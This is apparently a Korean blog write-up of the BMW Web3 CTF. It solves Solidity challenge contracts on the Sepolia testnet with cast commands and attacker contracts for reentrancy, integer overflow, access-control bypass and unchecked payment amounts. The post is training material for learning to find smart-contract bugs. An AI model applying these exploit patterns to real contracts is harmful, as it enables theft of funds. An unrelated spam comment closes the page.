[CTF] BMW Web3 CTF - Write Up

The Orange·2024년 1월 5일
0

CTF

목록 보기
4/7

1. Easy
	1-1. Warm Up
	1-2. Over 16
	1-3. slots
	1-4. forget me
2. Medium
	2-1. Simple random game
	2-2. Illegal Gamble
	2-3. Gas Limit
	2-4. Access Control
	2-5. Mamma Mia!
	2-6. Hello, NFT
3. Hard
	3-1. Safe Deposit Box
	3-2. RPG World
	3-3. BMW Bugbounty
	3-4. YuGiOh

1. Easy

1-1. Warm Up

% cast call --rpc-url sepolia_rpc 0xD11178b65C502c4688bE4768015439109504893F "Callme()(string)"
"flag{W31com3_T0_6lockcha1n_W0r1d}"
%

1-2. Over 16

% cast send --rpc-url sepolia_rpc --private-key KEY 0x4822d8eFd2CC80810244A2eca4c4F0C0FD74BF2d "add_16(uint)" "16"
...

% cast call --rpc-url sepolia_rpc --private-key KEY 0x4822d8eFd2CC80810244A2eca4c4F0C0FD74BF2d "get16_Flag()(string)"
"flag{0H_y0u_0v3r_F7F7L!L!0Oo0WzWz_m3!}"
%

1-3. slots

flag를 리턴해주는 함수가 있지만 flag가 아닌 값이 있습니다. constructor의 인자로 값을 받아 저장하는걸 보아 etherscan으로 input data를 찾아 플래그를 추출했습니다.

>>> bytes.fromhex("796f755f00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000646f696e675f000000000000000000000000000000000000000000000000000072696768745f0000000000000000000000000000676f6f645f6a6f62215f7472795f6d6f72650000000000000000000000000000000000000000000000000000007265616c5f000000000000000000000000000000000000000000000000000000666c61673a00000000000000000000000000000000000000000000000000000000000001200000000000000000000000000000000000643474615f316e5f736c307473217d0000000000000000000000000000000000000000000000000000000000000015666c61677b73306c69643174795f73376f7233735f0000000000000000000000")
b'you_\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00doing_\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00right_\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00good_job!_try_more\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00real_\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00flag:\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d4ta_1n_sl0ts!}\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x15flag{s0lid1ty_s7or3s_\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
>>> 
flag{s0lid1ty_s7or3s_d4ta_1n_sl0ts!}

1-4. forget me

owner 주소 를 가져온 후 owner 주소로 getFlag를 호출

% cast storage --rpc-url sepolia_rpc 0x1084cbb3F1aEC3E5610e0CE9940753fa1Af5b071 0
0x0000000000000000000000008c56b4e42cb149577b5a4442bad5f034b57f8354
% cast call --rpc-url sepolia_rpc 0x1084cbb3F1aEC3E5610e0CE9940753fa1Af5b071 -f 0x8c56b4e42cb149577b5a4442bad5f034b57f8354 'getFlag()(string)'
"flag{Ar3_y0u_g1ad_y0u_d1dn't_f0rg3t_m3?}"
% 

2. Medium

2-1. Simple random game

owner == tx.origin면 answer = number라서 그냥 적절히 실행해주면 됩니다.

pragma solidity ^0.4.22;

import "../lib/SimpleRandomGame.sol";

contract SimpleRandomGameAttack {
    goodLuck g = goodLuck(0x4AF94874056E34ECA8558149a0E5675De0Bbb7d6);
    bytes s;

    function attack1() public {
        s = g.game(1235, 0);
    }

    function getS() public view returns(bytes) {
        return s;
    }
}

2-2. Illegal Gamble

withdraw는 막혀있지만 moneySender가 public으로 노출되어있어서 바로 호출해주면 됩니다.

cast send --rpc-url sep --private-key KEY KEY "joinGamble()" --value 1wei
cast send --rpc-url sep --private-key KEY KEY "moneySender(address)" "MY_ADDR"
cast call --rpc-url sep --private-key KEY KEY "getFlag()(string)"

2-3. Gas Limit

리밋이 들어가있어서 정상적인 decrypt는 불가능합니다. 랜덤 값을 미리 알아내고 decrypt를 진행하여 실제 호출 시에는 그저 반환만 하게 해줍니다.

pragma solidity ^0.6.0;

import "../lib/gasLimit.sol";

contract AttackGL {
    gasLimit g = gasLimit(0x2e44211019FBDc1A9d88fD418559405306Fa95Cd);
    bytes answer;
    bytes flag;

    function attack() public {
        answer = realDec(abi.encode(
            keccak256(
                abi.encodePacked(address(this), block.timestamp, uint256(0))
            )
        ));

        flag = g.getFlag();
    }

    function getFlag() public view returns (string memory) {
        return string(flag);
    }

    function realDec(bytes memory encrypted_text)
        public
        pure
        returns (bytes memory)
    {
        uint256 length = bytes(encrypted_text).length;
        for (uint256 i = 0; i < length; i++) {
            bytes1 char = bytes(encrypted_text)[i];
            char = bytes1(uint8(char) - uint8(0xab));
            encrypted_text[i] = char;
        }
        return encrypted_text;
    }

    function decrypt(bytes calldata encrypted_text)
        public
        returns (bytes memory)
    {
        return answer;
    }
}

2-4. Access Control

인증 데이터를 받는 컨트랙트 주소를 사용자에게 직접 입력 받기에 적절하게 컨트랙트 코드를 짜주고 플래그를 가져오면 됩니다.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "../lib/AccessControl.sol";

contract Attack {
    AccessControll ac =
        AccessControll(payable(0x1c2d7d1eA2f9113aAf2b6D62717207Fa1985ebeF));
    MyCA ca = new MyCA();

    constructor() {}

    function attack1() public {
        ac.accessRequest(payable(address(ca)));
    }

    function attack2() public {
        ac.setSecurityLevel(address(this), 0);
    }

    function attack3() public view returns (string memory) {
        return ac.flag();
    }
}

contract MyCA {
    constructor() {}

    function verify(address user) public payable returns (bool) {
        return true;
    }

    function setLevel(
        address owner,
        address toSet,
        uint256 level
    ) public returns (uint256) {
        return 5;
    }
}

2-5. Mamma Mia!

재진입 공격을 통해 모든 돈을 빼주고 플래그를 가져오면 됩니다.

pragma solidity ^0.8.13;

import "../lib/Mamma_Mia.sol";

contract MamAttack {
    MammaMia m = MammaMia(0xb49cA7AdE68b3A4fB3D7F517171A4A98925F6fCb);
    string flag;

    constructor() {}

    function attack1() public payable {
        m.deposit{value: 0.001 ether}();
    }

    // 재진입 공격
    function attack2() public {
        m.withdraw();
    }

    function attack3() public {
        m.captureFlag();
    }

    function attack4() public payable {
        m.resetFlag{value: 0.001 ether}();
    }

    function attack5() public {
        flag = m.getFlag();
    }

    function getFlag() public view returns (string memory) {
        return flag;
    }

    receive() external payable {
        if (m.getBalance() != 0) {
            m.withdraw();
        }
    }
}

2-6. Hello, NFT

solidity 0.7.6을 사용 함에도 오버플로우를 따로 체크 안하여 음수 오버플로우를 이용하면 조건을 만족해 플래그를 얻을 수 있습니다.

// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;

import "../lib/obfuscation.sol";

contract HelloNFTAttack {
    Hello_NFT nft = Hello_NFT(0x109B04F5BA21361360279BF75505fea8EcA29014);
    string tokenId = "hibhjhbjhbjhb";
    string flag;

    constructor() {
        nft._poa3dva(tokenId, -32768);
    }

    // 음수 오버플로우
    function attack1() public {
        nft._xvj1nsoi(tokenId);
        flag = nft._adnj3ba(tokenId);
    }

    function getFlag() public view returns (string memory) {
        return flag;
    }
}

3. Hard

3-1. Safe Deposit Box

etherscan으로 비밀번호를 알아내고 SubAttack 컨트랙트를 만들어 계정을 생성하고 보내는 것을 반복하여 돈을 모으면 플래그를 살 수 있습니다.\
(인텐은 cancel_transaction를 여러 번 할 수 있는걸 이용해서 돈을 모아서 사야합니다.)

pragma solidity ^0.8.0;

import "../lib/SafeDepositBox.sol";

contract SubAttack {
    address to;
    SafeDepositBox box =
        SafeDepositBox(0x033C0086ec3260e77918930a9C4E2a4726DD5958);

    constructor(address _to) {
        to = _to;
    }

    function attack2() public {
        box.make_account();
        box.safe_remittance_function(
            unicode"안전한 비밀 암호인데 한글임ㅋㅋ",
            to,
            1000
        );
    }
}

contract SafeDepositBoxAttack {
    SafeDepositBox box =
        SafeDepositBox(0x033C0086ec3260e77918930a9C4E2a4726DD5958);
    SubAttack sa = new SubAttack(address(this));

    string flag;
    uint256 h;

    constructor() {
        box.make_account();
    }

    function attack() public {
        for (int256 i = 0; i < 100; i++) {
            sa.attack2();
        }
    }

    function buy_flag() public {
        flag = box.buy_flag();
    }

    function my_balance() public view returns (uint256) {
        return box.balances(address(this));
    }

    function get_flag() public view returns (string memory) {
        return flag;
    }
}

3-2. RPG World

spawn을 하고 attack1을 반복해서 실행하여 신검을 살 돈을 모은 뒤 attack2를 이용하여 보스의 HP를 깎고 플래그를 얻으면 됩니다. \
spawn -> attack 1 2 3 4 -> getFlag

pragma solidity ^0.8.0;

import "../lib/rpg_game.sol";

contract RPGAttack {
    RPG_World world = RPG_World(0xabDB4Af2454a47921E3D33f7B0Cd2CE1b87e21d6);
    address world_owner = 0x41482D3f30FfF21308D6c962E167e4Cc8a65576A;

    string flag;

    constructor() {}

    function getBossData() public view returns (uint[] memory) {
        uint[] memory ret = new uint[](4);
        ret[0] = world.HP((world_owner));
        ret[1] = world.Money((world_owner));
        ret[2] = world.Power((world_owner));
        ret[3] = uint(world.equipped_weapon((world_owner)));

        return ret;
    }

    function getMyData() public view returns (uint[] memory) {
        uint[] memory ret = new uint[](4);
        ret[0] = world.HP(address(this));
        ret[1] = world.Money(address(this));
        ret[2] = world.Power(address(this));
        ret[3] = uint(world.equipped_weapon(address(this)));

        return ret;
    }

    function spawn() public {
        world.character_spawn();
    }

    function attack1() public {
        uint[] memory a = new uint[](0);
        world.quest_challenge(4, a);

        if (world.HP(address(this)) == 0) {
            revert("Wrong");
        }
    }

    function attack2() public {
        world.fight_with_enemy(address(world_owner), address(world_owner));
    }

    function attack3() public {
        world.weapon_shop(5);
    }

    function attack4() public {
        flag = world.challenge_Boss();
    }

    function getFlag() public view returns (string memory) {
        return flag;
    }
}

3-3. BMW Bugbounty

amount로 여러 번 구매 함에도 msg.value에서 차감하여 체크하지 않아 1 ether로 많은 nft를 구매할 수 있습니다.

pragma solidity ^0.8.0;

import "./NFT.sol";
import "./process.sol";

contract Attack{
    BMW bmw = BMW(0xfC713AAB72F97671bADcb14669248C4e922fe2Bb);
    BMW_process bp;

    string flag;

    constructor() {
        bp = BMW_process(bmw.search_address());
    }

    function attack1() public payable {
        bp.Buy_nft{value: 1 ether}(10001);
        flag = bmw.flag();
    }

    function attack2() public view returns(string memory) {
        return flag;
    }

    function getMyBalance() public view returns (uint256) {
        return bp.check_my_nft(address(this));
    }
}

3-4. YuGiOh

적절하게 bruteforce를 하여 조건을 만족시키면 대사를 얻을 수 있습니다.

//SPDX-License-Identifier : MIT
pragma solidity ^0.8.0;

import "./YuGiOh.sol";

contract SubAttack {
    YuGiOh y;

    constructor(YuGiOh _y) {
        y = _y;
    }

    function attack1() public {
        if ((uint256(uint160(address(this))) + block.timestamp) % 100000 == 0) {
            y.drawCard();
            y.drawCard();
            y.drawCard();
        } else {
            revert("Wrong");
        }
    }

    function getValue() public view returns (uint256) {
        return (uint256(uint160(address(this))) + block.timestamp) % 100000;
    }

    function Kaiba() public view returns (string memory) {
        return y.Kaiba();
    }
}

contract Attack {
    SubAttack sa;
    uint256 max = 0;

    YuGiOh y = new YuGiOh();

    constructor() {}

    function gen() public {
        for (uint256 i = 0; i < 100; i++) {
            SubAttack _sa = new SubAttack(y);
            uint256 val = _sa.getValue();

            if (val == 0) {
                sa = _sa;
                _sa.attack1();
                return;
            }

            if (val > max) {
                sa = _sa;
                max = val;
            }
        }
    }

    function attack1() public {
        return sa.attack1();
    }

    function getValue() public view returns (uint256) {
        return sa.getValue();
    }

    function Kaiba() public view returns (string memory) {
        return sa.Kaiba();
    }
}

1개의 댓글

comment-user-thumbnail
2024년 12월 13일

Timeguessr は楽しくてやりがいがあるだけでなく、学習と発見を促す効果的な教育ツールでもあります。歴史的な写真に挑戦して、それがどの時代のもので、どこのものかを推測してみる準備はできていますか?

답글 달기